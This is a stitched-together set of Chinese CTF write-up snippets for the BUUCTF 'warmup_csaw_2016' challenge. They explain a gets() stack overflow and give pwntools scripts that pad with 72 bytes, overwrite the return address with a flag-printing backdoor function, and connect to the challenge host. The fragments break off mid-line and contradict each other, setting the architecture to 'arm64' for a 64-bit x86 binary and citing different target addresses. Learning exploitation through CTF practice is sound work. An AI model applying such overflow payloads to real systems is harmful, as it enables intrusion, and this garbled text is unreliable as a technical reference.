"./warmup_csaw_2016" elf = elf(pwnfile) context(log_level=logging.debug,arch= 'arm64' ,os= 'linux' ) io=remote( "node4.buuoj.cn" , 27755 ) #io = process(pwnfile) shell_addr = 0x400611 dem1 = ">" nops_1 = 0x40 + 8 payload1 = flat([ b'a' *nops_1,shell_addr])...
点进去发现是个打印flag的后门函数,那么我们把返回地址改成这个函数的地址去执行这个函数就行了,然后这个程序并没有开启地址随机化,所以这个后门函数的地址是固定的0x40060d,那么这题就解决了 frompwnimport* p=remote('node4.buuoj.cn',26098) #p=process('./warmup') p.recvuntil('>') payload=b'a'*0x...
warmup_csaw_2016 查看文件warmup_csaw_2016信息 拖入IDA分析,得到main函数。 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char s; // [rsp+0h] [rbp-80h] char v5; // [rsp+40h] [rbp-40h] write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); ...
p.sendline(payload)p.interactive() 执行结果如图,运行后直接 cat flag 即可。 warmup_csaw_2016 启动靶机,提供文件与地址,并且提示环境为 Ubuntu 16,因此应该不存在前述关卡的特殊问题。 直接使用 IDA 进行反编译,F5 查看伪代码发现主函数中返回了一个 gets() 函数。老朋友了,有这个函数就好说了,栈溢出具有初...
BUUCTF pwn 查看栈可以知道s距栈底为F,从f5的类C代码中也可以看到[rbp-Fh]即离栈底为F所以F+一个寄存器(rbp)(64位一个寄存器就是8个字节)的覆盖后就是retn的地址最终使用pwntools攻击脚本如下:warmup_csaw_2016一、载入ida可以看到和上一题一样,还是一个主函数一个后门函数,参数覆盖retn即可可以看到get对应...
技术标签:pwnlinux 查看原文 BUUCTF warmup_csaw_2016 writeup BUUCTFwarmup_csaw_2016打开IDA,发现: PS:这个题直接把函数位置给了。。。 可以看出,gets绝对有问题,v5的长度为0x40,同时加上返回地址8个字节,所以要溢出总长度为0x48,在运行程序时可以看到sub_40060D的地址就为0x40060D… 所以构建payload:payload...
warmup_csaw_2016 先checksec一下文件 反编译一下 sub_40060D就是一个system地址所以只要跳过去就好了 感觉比上一个简单 这次学乖了多了一个1 pwn1_sctf_2016 32位的 还是反编译先 好像是c++有点难度了 居然没有栈溢出了震惊 难道是格式化字符串?
拿到文件,先checksec,没开启保护。 运行, IDA查看,main函数中,可解读,gets没有限制输入长度,存在溢出。 payload:
from pwnimport*sh=process("./warmup_csaw_2016")sh=remote("node3.buuoj.cn",27439)payload="a"*72cat=0x40060Dsleep(2)sh.sendline(payload+p64(cat))sh.interactive() 控制EIP指向代码段 pwn1_sctf_2016 IDA分析程序流程,发现程序只可以输入32个字符,而溢出点却要0x3c+4的大小 ...
Real-Simplicity/BUUCTF-PwnPublic NotificationsYou must be signed in to change notification settings Fork0 Star4 Files main 001.test_your_nc 002.rip 003.warmup_csaw_2016 004.ciscn_2019_n_1 005.pwn1_sctf_2016 006.jarvisoj_level0 007.ciscn_2019_c_1 ...